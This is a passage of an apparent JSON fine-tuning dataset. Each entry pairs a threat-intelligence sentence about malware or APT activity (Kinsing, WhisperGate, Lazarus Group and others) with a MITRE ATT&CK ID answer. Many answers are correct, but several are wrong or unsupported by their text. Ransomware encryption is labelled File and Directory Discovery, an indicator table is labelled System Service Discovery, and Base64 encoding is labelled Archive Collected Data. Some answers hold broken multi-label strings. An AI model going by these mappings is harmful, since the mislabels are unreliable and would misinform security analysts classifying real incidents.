                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has created and run a Bitcoin cryptocurrency miner."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can list local and remote shared drives and folders over SMB."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowGoop can side-load `Goopdate.dll` into `GoogleUpdate.exe`."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Iranian government-sponsored APT actors gained initial access by exploiting vulnerabilities affecting Microsoft Exchange servers (CVE-2021-34473) and Fortinet devices (CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591)"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trickbot is the most common malware distributed by Emotet, but it is not the only one. Qakbot is another type of malware frequently dropped on Emotet-infected Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer exfiltrates collected files via removable media from air-gapped victims."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a command to collect the victim PC name, disk drive information, and operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates run key Registry entries pointing to malicious DLLs dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has downloaded additional modules and malware to victim’s machines."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok is packed with an UPX executable packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence was established via a crontab entry for a non-root user. With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated"
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can scan local network for open SMB."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\\ partition by overwriting it with fixed data. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable. As a result, there were additional stages and additional payloads that could inflict more damage to end systems"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon encrypts data using Base64 before being sent to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a scheduled task to establish by executing a malicious payload every subsequent minute."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload is a 32-bit executable file that is used to encrypt files on the victim’s system to extort a ransom"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has lured targets to click on malicious links to gain execution in the target environment."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has been distributed via spearphishing emails with malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck encrypts the victims machine followed by asking the victim to pay a ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The folder C:\\Users\\Public\\Administrador\\logs\\ is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites (Figure 12). The screenshots are continuously saved as .jpg images"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c   DNS tbs1/tbs2.microsoftonline.services   Domains 0ffice365[.]agency    0ffice365[.]life    0ffice365[.]services    0nedrive[.]agency    corewindows[.]agency    microsoftonline[.]agency    onedrive[.]agency    sharepoint[.]agency    skydrive[.]agency    skydrive[.]services   Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97   DNS tvs1/tvs2.trafficmanager.live   Domains akamaiedge[.]live     akamaized[.]live     akdns[.]live     edgekey[.]live    Table 7: Sample and Domain Associations The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other"
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash is a novel and complex Linux malware and the newest work of an active cybercrime group. From its characteristics and behaviors, we could realize many trends in current IoT/Linux security battleground"
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can create system services to aid in executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to list local groups: \"net localgroup administrator >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage 1: A Master Boot Record (MBR) locker used to overwrite the operating system's MBR, which effectively prevents the operating system from loading successfully - Stage 2: A disk-wiper used to wipe and destroy files on the target machine"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has renamed malicious code to disguise it as Microsoft's narrator and other legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering, in addition to the active development of attacks, infrastructure and the use of new methods and techniques"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, here is a folder and a list of files created by picking the C:\\Windows\\system32\\TCPSVCS.exe executable as a source of data"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can delete old binaries on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The modules are signed by an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited” with serial numbers, copied from real Tencent certificates"
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred uses XOR and RC4 to perform decryption on the code functions."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net view` and `ping` commands as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use `rundll32.exe` to load DLL from the command line."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used Trojans from underground hacker websites."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This most likely means there is some type of DLL hijacking going on by distributing a legitimate McAfee binary with MirageFox to load up the DLL properly into a legitimate looking process"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard can copy files to other machines on a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can identify installed security tools based on process names."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 dropped and executed tools used for password cracking, including Hydra and CrackMapExec."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use port 995 for C2."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill has obfuscated its module with an alphabet-based table or XOR encryption."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux uses crontab for persistence if it does not have root privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It iterates over all possible Office &lt;version&gt; values for both Word and Excel &lt;product&gt; values. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The malware moves each located document into the AppData folder, inserts malicious Word or Excel macros into it using a Microsoft.Office.Interop object, and then moves the document back into its original folder. In the samples we analyzed, the injected macros were simple downloaders"
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can modify registry values within the \"Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\" registry key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has targeted specific individuals within an organization with tailored job vacancy announcements."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One, called \"frown.py,\" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. The RAT will answer the \"who\" command with a string that contains the username, computer name and the previously generated UUID. The \"ice\" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has been obfuscated with hex-encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MailSniper can be used to obtain account names from Exchange and Office 365 using the \"Get-GlobalAddressList\" cmdlet."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is worth noting at this point that the C2 IP address associated with the cosecman[]com domain appeared to selectively block one of our exit IPs during our research"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information about process integrity levels."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT has been distributed as HTA files with VBScript."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:  C:\\Documents and Settings\\<username>\\Start Menu\\Programs\\Startup\\viso.exe  This step establishes the persistence of the malware across reboots on the endpoint Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint  The malware might perform this activity for a couple of reasons:  Establish persistence for itself on the endpoint Establish persistence of another component of the malware on the endpoint Update itself on endpoint after a separate updater component downloads the update from the control server  The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can gather domain and workgroup information."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6: Difference between a stock UPX packed file and the modified one A patch for UPX is available on ESET’s malware-research Github repository that allows unpacking Keydnap’s backdoor with the usual upx -d"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY has several modules, such as `ls.py`, `pwd.py`, and `recentFiles.py`, to enumerate directories and files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CallMe has the capability to download a file to the victim from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMail can identify the current username on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS uses PowerShell for obfuscation and execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly saves itself with a leading \".\" to make it a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantec’s Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains Windows logon password details."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy exploits the vulnerability CVE-2012-0158 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can communicate with the C2 via subdomains that utilize base64 with character substitutions."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used PowerShell Empire for execution of malware."
            },
            {
